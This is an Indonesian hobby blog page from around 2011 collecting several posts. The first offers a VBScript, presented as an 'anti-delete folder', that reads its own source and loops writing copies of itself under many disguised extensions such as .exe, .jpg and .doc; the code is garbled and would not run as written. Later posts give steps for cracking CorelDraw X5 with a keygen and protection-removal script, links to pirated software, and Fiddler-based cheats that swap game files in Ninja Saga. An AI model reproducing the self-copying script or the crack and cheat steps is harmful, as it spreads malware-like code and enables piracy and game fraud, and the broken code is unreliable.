Membuat Folder anti delete

►


Cuma memakai notepad.
save as dengan ekstensi vbs( misal:argo.vbs) (jangan lupa type All files) . Berikut Kodenya :

Dim FSO
Dim nodelete
Dim create

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")


'Buka dan Baca Dirinya Sendiri
Set nodelete = FSO.OpenTextFile(WScript.ScriptFullName)
Set nodelete = FSO.OpenTextFile(argo.ScriptFullName)
Set nodelete = FSO.OpenTextFile(argo)

'Simpan Dalam Variabel create

create = nodelete.ReadAll
nodelete.Close
Body.Close
Budy.Close

Do

If FSO.FileExists(WScript.ScriptFullName) = False Then
Set nodelete = FSO.CreateTextFile(WScript.ScriptFullName)
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.txt")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.avi")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.bat")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.exe")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.3gp")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.wmf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.swf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.rtf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo) = False Then
Set nodelete = FSO.Createfolder("argo")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.jpg")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.bmp")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.gif")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.html")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.fla")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.php")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.js")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.doc")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.docs")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.xml")
nodelete.Write create
nodelete.Close





End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Loop
9 Des 2011
Posted by Unknown
0 Comments
Tag :

Windows 8 Ultimate xTreme x86 x64

►
Pasti pada bingung kan? Windows 8 ? kok bukan windows 7 ? Biar tambah bingung sekalian latihan bahasa Inggris berikut tutorialnya dalam bahasa Inggris ^_^ :
Download :
Uttorent : >>Download<<
Windows 8 Ultimate Extreme : >>Download<<
Windows 8 Ultimate xTreme.rar : >>Download<<

1. Download "Windows 8 Ultimate xTreme Editon x86 x64" in torrent
2. When finished downloading "Dont Stop the Download" Please Seed to make the download faster to others
3. Open file Location then you will see W8XTREME.iso open it with your Power ISO, Ultra ISO etc.
4. Make a new folder on your Desktop then DRAG the files on the new folder
5. When Finished Drag/Copying Open SETUP.exe
6. Install.. you will see there Windows 7 Ultimate Installation Dont Worry Just install it dont react 1st :))







7. When it Finished Installed the Program open the
"Windows 8 Ultimate xTreme.rar
8. Then Open "Windows 8 Transformation Pack 1.0 by Selfish"
NOTE: Dont Run/open it on Desktop just Run/open it inside the Win-rar
9. Then Click "Install" when done Click OK for Reboot/Restart
10. Done Restarting ? now go to
"Windows 8 Ultimate xTreme.rar" again Open the
"Windows 8 Rebuild"

Now Check your OS
Click "Start"
Right Click on "Computer" then "Properties" like this Picture


Now you Have the Windows 8 xTreme Gudluck and Enjoy
Posted by Unknown
0 Comments
Tag :

Corel Draw X5 Full

►


Pasti pada tahu kan? Langsung aja :

Cara Aktivasi CorelDraw X5 :

  1. Download CorelDraw X5 nya terlebih dahulu (link download dibawah)
  2. Instal CorelDraw X5 (tidak usah menggunakan Serial, biarkan kosong aja)
  3. Bila proses instal sudah selesai, tutup CorelDraw X5.
  4. Jalankan file RemoveProtexis.cmd. (klik kanan, lalu pilih run as administrator)
  5. Maka akan tampil layar seperti DOS.
  6. Bila sudah, copy dan paste file PsiKey.dll di folder C:\Program Files\Corel\CorelDRAW Graphics Suite X5\Programs\.
  7. Selesai, kini CorelDraw X5 anda sudah menjadi Full Version. Hehhe
Password : www.remo-xp.com

Corel : >>Download<<
Crack : >>Download<<
Keygen : >>Download<<
Posted by Unknown
0 Comments
Tag :

Adobe Photoshop CS3 Full

►


Pasti pada tahu kan? Ini salah satu software ampuh yang biasa digunakan untuk edit gambar. Yang butuh download aja!! Jangan lupa komentarnya!!! ^_^
Cara download : klik linknya, tunggu 5 detik, klik skip ad.
>>Download<<
Posted by Unknown
0 Comments
Tag :

Fortune HAck (Free User Only)

►
Swf ==> Download
Fiddler ==> Download

Steps :-
1. Log into Ninja Saga
2. Open Fiddler2 & Drop swf file to fiddler (auto-responder tab)
3. Clear your browser's cache 2 Times
4. Reload Your Ninja Saga
5. Open Ninja Saga
6. Go To Shop And Buy Emblem +2k Token ( Not Permanent )
7. Go To Fortune Card And Use Maple Ticker Or 10 Token

Note :-
:- You Use Real Token Not Fake Token
:- If You Get Error Means You Get Consumable Item And Your Token Or Maple Ticket Will Not Reduce
:- Reload And Repeat This Hack Until You Get The Weapon , Kinjutsu , Or Back Pack Item
:-You Wil Be Premium User and has 40 item can save in your gear
:- Before You Use This Hack You Must Have 20 Consumable Item


Credit: GHZ
4 Des 2011
Posted by Unknown
0 Comments
Tag :

ATM EXP Ninja Saga [No Charles required]

►
Tools
Fiddler2 >>Download<<
SWF >>Download<<
Step :
1. Open fiddler and go to autoresponder.
2. Drag the file to auto responder
3. Go to Headquarter
4. Enter this code : 63978DCB04
5. Enjoy!!
16 Nov 2011
Posted by Unknown
0 Comments
Tag :

Daily Hack Ninja Saga

►
Alat :
Fiddler2 >>Download<<
SWF   >>Download<<
LAngkah :
1.Drag semua file ke autoresponder (fiddler2)
2. Pergi ke recruit friends.
3. enjoy!!

Tools :
Fiddler2 >>Download<<
SWF   >>Download<<
Step : 
1. Drag All files to autoresponder (fiddler2)
2. Go to academy
3. Enjoy!

11 Nov 2011
Posted by Unknown
0 Comments
Tag :

Auto EXP Ninja Saga

►
One Of my friends ask me to post this cheat. so i post it.
Tools :
Swf ===> GK version
Fiddler
Step :
Drag Into Fiddler (auto responder)
go to head quarter
enjoy..
8 Agu 2011
Posted by Unknown
0 Comments
Tag :

Cheat All Part Special Jounin Exam With CE

►
Setelah lama tidak blogging akhirnya gwa post cheat baru nih!! langsung aja!! berikut kode misinya yang aku dapat pake fiddler :
Stage 1 Chapter 1 - The Force of Yami - mission_200
Stage 1 Chapter 2 - Unpredicted Attack - mission_205
Stage 2 Chapter 1 - Front Line Battle - mission_202
Stage 2 Chapter 2 - Defense! Defense! - mission_206
Stage 3 Chapter 1 - Sensor Division - mission_203
Stage 3 Chapter 2 - Call For Backup - mission_207
Stage 4 Chapter 1 - Secret Training - mission_204
Stage 4 Chapter 2 - Swords vs Ninjutsu - mission_208
Stage 5 Chapter 1 - Medical Division - mission_201
Stage 5 Chapter 2 - Time To Flight Back - mission_209
Stage 6 Chapter 1 - The Release Beast - mission_210
Stage 6 Chapter 2 - Kage vs Kage - mission_211
Last Stage - Beyond Kage's Power - mission_212
Cara Penggunaan sudah pernah aku post : klik di sini
Jangan Lupa Kommentnya!
26 Jun 2011
Posted by Unknown
7 Comments
Tag :

Translator

English French German Spain Italian Dutch Russian Portuguese Japanese Korean Arabic Chinese Simplified
by : Argo Sptr

Label

Lencana Facebook

Argô Sâfûtrò | Buat Lencana Anda

Join Me!

Join me on Facebook Follow me on Twitter

- Copyright © 2013 Argo's Info -Metrominimalist- Powered by Blogger - Designed by Johanes Djogan -